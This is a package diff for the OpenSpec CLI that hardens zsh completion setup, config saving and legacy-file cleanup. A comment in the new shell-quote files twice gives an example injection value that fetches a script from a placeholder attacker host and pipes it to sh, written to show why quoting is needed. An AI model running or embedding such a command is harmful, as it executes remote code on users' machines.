@fission-ai/openspec 1.13.0 → 1.13.1

package/dist/core/completions/installers/shell-quote.d.ts

@@ -0,0 +1,11 @@
+/**
+ * Quote a path as a POSIX shell single-quoted literal.
+ *
+ * Completion directories are derived from XDG_DATA_HOME / HOME, which are never
+ * escaped. Interpolated into a double-quoted rc line, a value like
+ * `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
+ * suppress every expansion, and the `'\''` dance closes, escapes, and reopens
+ * the quote around any literal apostrophe.
+ */
+export declare function shellSingleQuote(value: string): string;
+//# sourceMappingURL=shell-quote.d.ts.map

package/dist/core/completions/installers/shell-quote.js

@@ -0,0 +1,13 @@
+/**
+ * Quote a path as a POSIX shell single-quoted literal.
+ *
+ * Completion directories are derived from XDG_DATA_HOME / HOME, which are never
+ * escaped. Interpolated into a double-quoted rc line, a value like
+ * `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
+ * suppress every expansion, and the `'\''` dance closes, escapes, and reopens
+ * the quote around any literal apostrophe.
+ */
+export function shellSingleQuote(value) {
+    return `'${value.replace(/'/g, `'\\''`)}'`;
+}
+//# sourceMappingURL=shell-quote.js.map

package/dist/core/completions/installers/zsh-installer.js

@@ -2,6 +2,7 @@ import { promises as fs } from 'fs';
 import path from 'path';
 import os from 'os';
 import { FileSystemUtils } from '../../../utils/file-system.js';
+import { shellSingleQuote } from './shell-quote.js';
 /**
  * Installer for Zsh completion scripts.
  * Supports both Oh My Zsh and standard Zsh configurations.
@@ -109,7 +110,7 @@ export class ZshInstaller {
     generateZshrcConfig(completionsDir) {
         return [
             '# OpenSpec shell completions configuration',
-            `fpath=("${completionsDir}" $fpath)`,
+            `fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
             'autoload -Uz compinit',
             'compinit',
         ].join('\n');
@@ -340,7 +341,7 @@ export class ZshInstaller {
                 'To enable completions, add the following to your ~/.zshrc file:',
                 '',
                 `  # Add completions directory to fpath`,
-                `  fpath=(${completionsDir} $fpath)`,
+                `  fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
                 '',
                 '  # Initialize completion system',
                 '  autoload -Uz compinit',

package/dist/core/config-schema.d.ts

@@ -6,8 +6,8 @@ import { z } from 'zod';
 export declare const GlobalConfigSchema: z.ZodObject<{
     featureFlags: z.ZodDefault<z.ZodOptional<z.ZodRecord<z.ZodString, z.ZodBoolean>>>;
     profile: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
-        core: "core";
         custom: "custom";
+        core: "core";
     }>>>;
     delivery: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
         commands: "commands";

package/dist/core/config.d.ts

@@ -16,10 +16,26 @@ export interface AIToolOption {
     legacySkillsDirs?: string[];
     globalSkillsDir?: string;
     detectionPaths?: string[];
+    searchAliases?: string[];
     setupNote?: string;
     requiresIdeRestart?: boolean;
 }
 export declare const AI_TOOLS: AIToolOption[];
+/**
+ * The vendor-neutral target every assistant that is not listed above can use.
+ * Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
+ * a dead end (#653).
+ */
+export declare const UNIVERSAL_TOOL_ID = "agents";
+/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
+export declare function getUniversalTool(): AIToolOption | undefined;
+/**
+ * One-line pointer at the universal target for non-interactive errors, the
+ * scripted counterpart of the picker's empty-search hint. Undefined when the
+ * target is not among the tools on offer, so the hint never names a choice the
+ * caller cannot make.
+ */
+export declare function universalToolFallbackHint(offeredToolIds: string[]): string | undefined;
 /**
  * Retired tool ids that still resolve, so a rebrand does not break scripted
  * `--tools` invocations. Windsurf was rebranded to Devin Desktop on

package/dist/core/config.js

@@ -68,8 +68,34 @@ export const AI_TOOLS = [
     // A project that does keep skills there is a project this target fits, the same
     // way `.claude/` selects Claude Code — the signal is the user's setup, not
     // OpenSpec's own files.
-    { name: 'Shared .agents skills', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'] }
+    // The picker is searchable, so this entry also answers to the words someone
+    // whose assistant is not on the list actually types (#653) — it is named for
+    // a directory, which none of them would guess. Aliases are single words: the
+    // space bar toggles a selection rather than typing into the search box.
+    { name: 'Other / Universal (shared .agents skills)', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'], searchAliases: ['universal', 'other', 'generic', 'custom', 'proprietary', 'unlisted', 'unsupported', 'vendor-neutral', 'agents.md'] }
 ];
+/**
+ * The vendor-neutral target every assistant that is not listed above can use.
+ * Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
+ * a dead end (#653).
+ */
+export const UNIVERSAL_TOOL_ID = 'agents';
+/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
+export function getUniversalTool() {
+    return AI_TOOLS.find((tool) => tool.value === UNIVERSAL_TOOL_ID);
+}
+/**
+ * One-line pointer at the universal target for non-interactive errors, the
+ * scripted counterpart of the picker's empty-search hint. Undefined when the
+ * target is not among the tools on offer, so the hint never names a choice the
+ * caller cannot make.
+ */
+export function universalToolFallbackHint(offeredToolIds) {
+    const universal = getUniversalTool();
+    if (!universal || !offeredToolIds.includes(universal.value))
+        return undefined;
+    return `Tool not listed? Use --tools ${universal.value}: the vendor-neutral target that writes ${universal.skillsDir}/skills/ for any assistant.`;
+}
 /**
  * Retired tool ids that still resolve, so a rebrand does not break scripted
  * `--tools` invocations. Windsurf was rebranded to Devin Desktop on

package/dist/core/global-config.d.ts

@@ -61,9 +61,37 @@ export declare function getGlobalConfigPath(): string;
  * Merges loaded config with defaults to ensure new fields are available.
  */
 export declare function getGlobalConfig(): GlobalConfig;
+/**
+ * Whether a parsed JSON root can serve as a global config object.
+ *
+ * Valid JSON that is not a plain object (`null`, an array, a string, a number,
+ * a boolean) still reads as defaults, so it is just as unsafe to save over as
+ * a file that did not parse at all. Every reader and writer of the global
+ * config shares this one predicate so they cannot drift apart.
+ */
+export declare function isConfigRootObject(parsed: unknown): boolean;
+/**
+ * The one-line, actionable refusal every global-config writer reports when it
+ * declines to overwrite a file it could not read.
+ */
+export declare function unreadableGlobalConfigMessage(configPath: string): string;
+/**
+ * Whether the global config file exists but cannot be read or parsed.
+ *
+ * getGlobalConfig() answers with defaults for such a file so that reads keep
+ * working, but those defaults are not the user's settings: saving them back
+ * would erase everything the file holds, and the file may contain an opt-out
+ * such as `telemetry.enabled: false` that the defaults do not.
+ */
+export declare function isGlobalConfigUnreadable(): boolean;
+export interface SaveGlobalConfigOptions {
+    /** Overwrite a config file that cannot be parsed. Only a reset should. */
+    replaceUnreadable?: boolean;
+}
 /**
  * Saves the global configuration to disk.
- * Creates the config directory if it doesn't exist.
+ * Creates the config directory if it doesn't exist. Refuses to overwrite an
+ * existing file it cannot parse unless `replaceUnreadable` is set.
  */
-export declare function saveGlobalConfig(config: GlobalConfig): void;
+export declare function saveGlobalConfig(config: GlobalConfig, options?: SaveGlobalConfigOptions): void;
 //# sourceMappingURL=global-config.d.ts.map

package/dist/core/global-config.js

@@ -68,6 +68,9 @@ export function getGlobalDataDir(options = {}) {
 export function getGlobalConfigPath() {
     return path.join(getGlobalConfigDir(), GLOBAL_CONFIG_FILE_NAME);
 }
+// Config paths already warned about. One command reads the config several
+// times (telemetry, the update check, the command itself); warn once.
+const warnedInvalidJsonPaths = new Set();
 /**
  * Loads the global configuration from disk.
  * Returns default configuration if file doesn't exist or is invalid.
@@ -81,6 +84,13 @@ export function getGlobalConfig() {
         }
         const content = fs.readFileSync(configPath, 'utf-8');
         const parsed = JSON.parse(content);
+        // A root that is not a plain object carries no settings, and spreading it
+        // would leak its shape into the result: a string contributes numeric
+        // character keys. Answer with plain defaults, as for a file that did not
+        // parse at all. Same predicate the writers refuse to save over.
+        if (!isConfigRootObject(parsed)) {
+            return { ...DEFAULT_CONFIG };
+        }
         // Merge with defaults (loaded values take precedence)
         const merged = {
             ...DEFAULT_CONFIG,
@@ -102,19 +112,63 @@ export function getGlobalConfig() {
     }
     catch (error) {
         // Log warning for parse errors, but not for missing files
-        if (error instanceof SyntaxError) {
+        if (error instanceof SyntaxError && !warnedInvalidJsonPaths.has(configPath)) {
+            warnedInvalidJsonPaths.add(configPath);
             console.error(`Warning: Invalid JSON in ${configPath}, using defaults`);
         }
         return { ...DEFAULT_CONFIG };
     }
 }
+/**
+ * Whether a parsed JSON root can serve as a global config object.
+ *
+ * Valid JSON that is not a plain object (`null`, an array, a string, a number,
+ * a boolean) still reads as defaults, so it is just as unsafe to save over as
+ * a file that did not parse at all. Every reader and writer of the global
+ * config shares this one predicate so they cannot drift apart.
+ */
+export function isConfigRootObject(parsed) {
+    return typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed);
+}
+/**
+ * The one-line, actionable refusal every global-config writer reports when it
+ * declines to overwrite a file it could not read.
+ */
+export function unreadableGlobalConfigMessage(configPath) {
+    return (`Refusing to overwrite ${configPath}: it could not be parsed, so saving would replace every setting in it. ` +
+        'Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
+}
+/**
+ * Whether the global config file exists but cannot be read or parsed.
+ *
+ * getGlobalConfig() answers with defaults for such a file so that reads keep
+ * working, but those defaults are not the user's settings: saving them back
+ * would erase everything the file holds, and the file may contain an opt-out
+ * such as `telemetry.enabled: false` that the defaults do not.
+ */
+export function isGlobalConfigUnreadable() {
+    const configPath = getGlobalConfigPath();
+    if (!fs.existsSync(configPath)) {
+        return false;
+    }
+    try {
+        return !isConfigRootObject(JSON.parse(fs.readFileSync(configPath, 'utf-8')));
+    }
+    catch {
+        return true;
+    }
+}
 /**
  * Saves the global configuration to disk.
- * Creates the config directory if it doesn't exist.
+ * Creates the config directory if it doesn't exist. Refuses to overwrite an
+ * existing file it cannot parse unless `replaceUnreadable` is set.
  */
-export function saveGlobalConfig(config) {
+export function saveGlobalConfig(config, options = {}) {
     const configDir = getGlobalConfigDir();
     const configPath = getGlobalConfigPath();
+    if (!options.replaceUnreadable && isGlobalConfigUnreadable()) {
+        throw new Error(unreadableGlobalConfigMessage(configPath));
+    }
     // Create directory if it doesn't exist
     if (!fs.existsSync(configDir)) {
         fs.mkdirSync(configDir, { recursive: true });

package/dist/core/init.js

@@ -14,7 +14,7 @@ import { classifyOpenSpecDir, MAX_CONTEXT_SIZE, readProjectConfig, storePointerP
 import { findRepoPlanningRootSync } from './planning-home.js';
 import { ANCHORED_OPENSPEC_DIRS, ensureDirectoryAnchor } from './openspec-root.js';
 import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js';
-import { AI_TOOLS, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
+import { AI_TOOLS, getUniversalTool, universalToolFallbackHint, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
 import { PALETTE } from './styles/palette.js';
 import { isInteractive } from '../utils/interactive.js';
 import { serializeConfig } from './config-prompts.js';
@@ -423,7 +423,8 @@ export class InitCommand {
             if (detectedToolIds.size > 0) {
                 return [...detectedToolIds];
             }
-            throw new Error(`No tools detected and no --tools flag provided. Valid tools:\n  ${validTools.join('\n  ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...`);
+            const fallbackHint = universalToolFallbackHint(validTools);
+            throw new Error(`No tools detected and no --tools flag provided. Valid tools:\n  ${validTools.join('\n  ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...${fallbackHint ? `\n${fallbackHint}` : ''}`);
         }
         if (validTools.length === 0) {
             throw new Error(`No tools available for skill generation.`);
@@ -440,6 +441,7 @@ export class InitCommand {
             return {
                 name: tool?.name || toolId,
                 value: toolId,
+                searchAliases: tool?.searchAliases,
                 configured,
                 detected: detected && !configured,
                 preSelected: configured || (shouldPreselectDetected && detected && !configured),
@@ -472,10 +474,17 @@ export class InitCommand {
                 : 'not pre-selected';
             console.log(`Detected tool directories: ${detectedOnlyNames.join(', ')} (${detectionLabel})`);
         }
+        // A search that matches nothing is where someone whose assistant is not on
+        // the list gives up (#653), so name the vendor-neutral entry right there.
+        const universalTool = getUniversalTool();
+        const universalHint = universalTool && validTools.includes(universalTool.value)
+            ? `Tool not listed? Clear the search and pick "${universalTool.name}".`
+            : undefined;
         const selectedTools = await searchableMultiSelect({
             message: `Select tools to set up (${validTools.length} available)`,
             pageSize: 15,
             choices: sortedChoices,
+            emptyHint: universalHint,
             validate: (selected) => selected.length > 0 || 'Select at least one tool',
         });
         if (selectedTools.length === 0) {
@@ -516,7 +525,8 @@ export class InitCommand {
         }
         const invalidTokens = tokens.filter((_token, index) => !availableSet.has(normalizedTokens[index]));
         if (invalidTokens.length > 0) {
-            throw new Error(`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}`);
+            const fallbackHint = universalToolFallbackHint([...availableSet]);
+            throw new Error(`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}${fallbackHint ? `\n${fallbackHint}` : ''}`);
         }
         // Deduplicate while preserving order
         const deduped = [];

package/dist/core/legacy-cleanup.d.ts

@@ -25,6 +25,8 @@ export declare const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlo
 export interface LegacySlashCommandPattern {
     type: 'directory' | 'files';
     path?: string;
+    /** For directory type: the only files in `path` that OpenSpec wrote. */
+    managedFileNames?: readonly string[];
     pattern?: string | string[];
 }
 /**
@@ -149,6 +151,8 @@ export interface CleanupResult {
     modifiedFiles: string[];
     /** Directories that were deleted */
     deletedDirs: string[];
+    /** Entries left in a legacy command directory because OpenSpec did not write them */
+    keptFiles?: string[];
     /** Whether project.md exists and needs manual migration */
     projectMdNeedsMigration: boolean;
     /** Error messages if any operations failed */

package/dist/core/legacy-cleanup.js

@@ -22,19 +22,26 @@ export const LEGACY_CONFIG_FILES = [
     'AGENTS.md', // root AGENTS.md (not openspec/AGENTS.md)
     'QWEN.md',
 ];
+/** The three commands the old SlashCommandRegistry wrote into each directory. */
+const LEGACY_DIRECTORY_COMMAND_FILES = ['proposal.md', 'apply.md', 'archive.md'];
 /**
  * Legacy slash command patterns from the old SlashCommandRegistry.
  * These map toolId to the path pattern where legacy commands were created.
  * Some tools used a directory structure, others used individual files.
  */
 export const LEGACY_SLASH_COMMAND_PATHS = {
-    // Directory-based: .tooldir/commands/openspec/ or .tooldir/commands/openspec/*.md
-    'claude': { type: 'directory', path: '.claude/commands/openspec' },
-    'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec' },
-    'qoder': { type: 'directory', path: '.qoder/commands/openspec' },
-    'lingma': { type: 'directory', path: '.lingma/commands/openspec' },
-    'crush': { type: 'directory', path: '.crush/commands/openspec' },
-    'gemini': { type: 'directory', path: '.gemini/commands/openspec' },
+    // Directory-based: .tooldir/commands/openspec/. Each entry names the files
+    // OpenSpec wrote there, because users keep their own commands in the same
+    // folder: only those files are deleted, and the folder only once it is empty.
+    'claude': { type: 'directory', path: '.claude/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
+    'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
+    'qoder': { type: 'directory', path: '.qoder/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
+    // Lingma support arrived after the opsx rename and has always written to
+    // `.lingma/commands/opsx/`, so OpenSpec never put a file here: only an empty
+    // leftover folder is removed.
+    'lingma': { type: 'directory', path: '.lingma/commands/openspec', managedFileNames: [] },
+    'crush': { type: 'directory', path: '.crush/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
+    'gemini': { type: 'directory', path: '.gemini/commands/openspec', managedFileNames: ['proposal.toml', 'apply.toml', 'archive.toml'] },
     // File-based: individual openspec-*.md files in a commands/workflows/prompts folder
     'cursor': { type: 'files', pattern: '.cursor/commands/openspec-*.md' },
     // Keyed by the tool id these map back to, so the pre-opsx Windsurf files
@@ -221,9 +228,22 @@ export async function detectLegacySlashCommands(projectPath) {
     for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
         if (pattern.type === 'directory' && pattern.path) {
             const dirPath = FileSystemUtils.joinPath(projectPath, pattern.path);
-            if (await FileSystemUtils.directoryExists(dirPath)) {
+            if (!(await FileSystemUtils.directoryExists(dirPath))) {
+                continue;
+            }
+            const entries = await readLegacyCommandDir(dirPath, pattern.managedFileNames ?? []);
+            if (!entries) {
+                continue;
+            }
+            if (entries.others.length === 0) {
+                // Only OpenSpec's own files, or nothing: the whole folder can go.
                 directories.push(pattern.path);
             }
+            else {
+                // The folder also holds the user's files, so report OpenSpec's files
+                // one by one; cleanup deletes those and leaves the folder in place.
+                files.push(...entries.managed.map((name) => `${pattern.path}/${name}`));
+            }
         }
         else if (pattern.type === 'files' && pattern.pattern) {
             const patterns = Array.isArray(pattern.pattern) ? pattern.pattern : [pattern.pattern];
@@ -235,6 +255,92 @@ export async function detectLegacySlashCommands(projectPath) {
     }
     return { directories, files };
 }
+/**
+ * Splits a legacy command directory's entries into the files OpenSpec wrote
+ * there and everything else, sorted. A file counts as OpenSpec's only when it
+ * is a regular file with a managed name whose content still carries the
+ * OpenSpec markers every legacy command was written with; a folder, a link, or
+ * a same-named file the user wrote is the user's. Subdirectories are listed
+ * with a trailing '/'. Returns undefined when the directory cannot be read or
+ * is itself a symlink, which is never followed.
+ */
+async function readLegacyCommandDir(dirPath, managedFileNames) {
+    let entries;
+    try {
+        if ((await fs.lstat(dirPath)).isSymbolicLink()) {
+            return undefined;
+        }
+        entries = await fs.readdir(dirPath, { withFileTypes: true });
+    }
+    catch {
+        return undefined;
+    }
+    const managed = [];
+    const others = [];
+    for (const entry of entries) {
+        if (entry.isFile() &&
+            managedFileNames.includes(entry.name) &&
+            (await isGeneratedLegacyCommand(path.join(dirPath, entry.name)))) {
+            managed.push(entry.name);
+        }
+        else {
+            others.push(entry.isDirectory() ? `${entry.name}/` : entry.name);
+        }
+    }
+    return { managed: managed.sort(), others: others.sort() };
+}
+/**
+ * The legacy command directory, and its tool, that a repo-local path is one of
+ * OpenSpec's own files in.
+ */
+function legacyCommandDirForFile(file) {
+    const normalizedFile = normalizePathForMatch(file);
+    for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {
+        if (pattern.type !== 'directory' || !pattern.path)
+            continue;
+        const dir = pattern.path;
+        if (pattern.managedFileNames?.some((name) => normalizedFile === `${dir}/${name}`)) {
+            return { toolId, dir };
+        }
+    }
+    return undefined;
+}
+/**
+ * Removes a legacy command directory once OpenSpec's files are gone from it,
+ * or records what is left in it as kept. Never recursive: whatever remains was
+ * not written by OpenSpec. Returns true when the directory was removed.
+ */
+async function settleLegacyCommandDir(projectPath, dirPath, result) {
+    const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
+    const remaining = await readLegacyCommandDir(fullPath, []);
+    if (!remaining) {
+        return false;
+    }
+    if (remaining.others.length === 0) {
+        await fs.rmdir(fullPath);
+        result.deletedDirs.push(dirPath);
+        return true;
+    }
+    result.keptFiles.push(...remaining.others.map((name) => `${dirPath}/${name}`));
+    return false;
+}
+/**
+ * Whether a file is a legacy command OpenSpec generated: a regular file (not a
+ * link) whose content carries the OpenSpec markers. Every legacy slash command
+ * was written with them, and OpenSpec refused to update one that lost them, so
+ * a same-named file without them is the user's.
+ */
+async function isGeneratedLegacyCommand(filePath) {
+    try {
+        if (!(await fs.lstat(filePath)).isFile()) {
+            return false;
+        }
+        return hasOpenSpecMarkers(await fs.readFile(filePath, 'utf-8'));
+    }
+    catch {
+        return false;
+    }
+}
 /**
  * Detects legacy global slash command files.
  *
@@ -376,6 +482,7 @@ export async function cleanupLegacyArtifacts(projectPath, detection) {
         deletedFileReplacementLabels: {},
         modifiedFiles: [],
         deletedDirs: [],
+        keptFiles: [],
         projectMdNeedsMigration: detection.hasProjectMd,
         errors: [],
     };
@@ -394,21 +501,50 @@ export async function cleanupLegacyArtifacts(projectPath, detection) {
             result.errors.push(`Failed to modify ${fileName}: ${error.message}`);
         }
     }
-    // Delete legacy slash command directories (these are 100% OpenSpec-managed)
+    // Delete legacy slash command directories: only the files OpenSpec wrote,
+    // then the directory once it is empty. Detection reports a directory only
+    // when it holds nothing else, but a file the user added since is still kept.
     for (const dirPath of detection.slashCommandDirs) {
         const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
         try {
-            await fs.rm(fullPath, { recursive: true, force: true });
-            result.deletedDirs.push(dirPath);
+            const managedFileNames = legacyManagedFileNamesForDir(dirPath);
+            const entries = await readLegacyCommandDir(fullPath, managedFileNames);
+            if (!entries) {
+                continue;
+            }
+            const deleted = [];
+            for (const name of entries.managed) {
+                const filePath = path.join(fullPath, name);
+                // Check again just before deleting: the file may have been replaced
+                // with the user's own since the scan. A kept file is reported below.
+                if (!(await isGeneratedLegacyCommand(filePath))) {
+                    continue;
+                }
+                await fs.unlink(filePath);
+                deleted.push(name);
+            }
+            if (!(await settleLegacyCommandDir(projectPath, dirPath, result))) {
+                result.deletedFiles.push(...deleted.map((name) => `${dirPath}/${name}`));
+            }
         }
         catch (error) {
             result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
         }
     }
     // Delete legacy slash command files (these are 100% OpenSpec-managed)
+    const partlyCleanedDirs = new Set();
     for (const filePath of detection.slashCommandFiles) {
         const fullPath = FileSystemUtils.joinPath(projectPath, filePath);
         try {
+            const commandDir = legacyCommandDirForFile(filePath);
+            if (commandDir) {
+                partlyCleanedDirs.add(commandDir.dir);
+                // Check again just before deleting: the file may have been replaced
+                // with the user's own since detection. A kept file is reported below.
+                if (!(await isGeneratedLegacyCommand(fullPath))) {
+                    continue;
+                }
+            }
             await fs.unlink(fullPath);
             result.deletedFiles.push(filePath);
         }
@@ -416,6 +552,16 @@ export async function cleanupLegacyArtifacts(projectPath, detection) {
             result.errors.push(`Failed to delete ${filePath}: ${error.message}`);
         }
     }
+    // A legacy command directory that also held the user's files was cleaned
+    // file by file above; record what was left in it.
+    for (const dirPath of partlyCleanedDirs) {
+        try {
+            await settleLegacyCommandDir(projectPath, dirPath, result);
+        }
+        catch (error) {
+            result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
+        }
+    }
     // Delete managed global slash command files (these are 100% OpenSpec-managed)
     const globalPromptMatchesByPath = new Map(getLegacyGlobalPromptMatches(detection).map((prompt) => [prompt.path, prompt]));
     for (const filePath of detection.globalSlashCommandFiles) {
@@ -461,7 +607,11 @@ export async function cleanupLegacyArtifacts(projectPath, detection) {
  */
 export function formatCleanupSummary(result) {
     const lines = [];
-    if (result.deletedFiles.length > 0 || result.deletedDirs.length > 0 || result.modifiedFiles.length > 0) {
+    const keptFiles = result.keptFiles ?? [];
+    if (result.deletedFiles.length > 0 ||
+        result.deletedDirs.length > 0 ||
+        result.modifiedFiles.length > 0 ||
+        keptFiles.length > 0) {
         lines.push('Cleaned up legacy files:');
         for (const file of result.deletedFiles) {
             const replacementLabel = result.deletedFileReplacementLabels?.[file]
@@ -474,6 +624,9 @@ export function formatCleanupSummary(result) {
         for (const dir of result.deletedDirs) {
             lines.push(`  ✓ Removed ${dir}/ (replaced by OpenSpec skills and commands)`);
         }
+        for (const entry of keptFiles) {
+            lines.push(`  • Kept ${entry} (not created by OpenSpec)`);
+        }
         for (const file of result.modifiedFiles) {
             lines.push(`  ✓ Removed OpenSpec markers from ${file}`);
         }
@@ -643,8 +796,23 @@ function legacyToolIdForDir(dir) {
     }
     return undefined;
 }
+/** The files OpenSpec wrote into a repo-local legacy slash-command directory. */
+function legacyManagedFileNamesForDir(dir) {
+    const normalizedDir = normalizePathForMatch(dir);
+    for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
+        if (pattern.type === 'directory' && pattern.path === normalizedDir) {
+            return pattern.managedFileNames ?? [];
+        }
+    }
+    return [];
+}
 /** The tool that owns a repo-local legacy slash-command file, if any. */
 function legacyToolIdForFile(file) {
+    // A file from a directory-based tool, reported because the directory also
+    // holds the user's own files.
+    const commandDir = legacyCommandDirForFile(file);
+    if (commandDir)
+        return commandDir.toolId;
     // Normalize to forward slashes so the glob patterns match on Windows too.
     const normalizedFile = normalizePathForMatch(file);
     for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {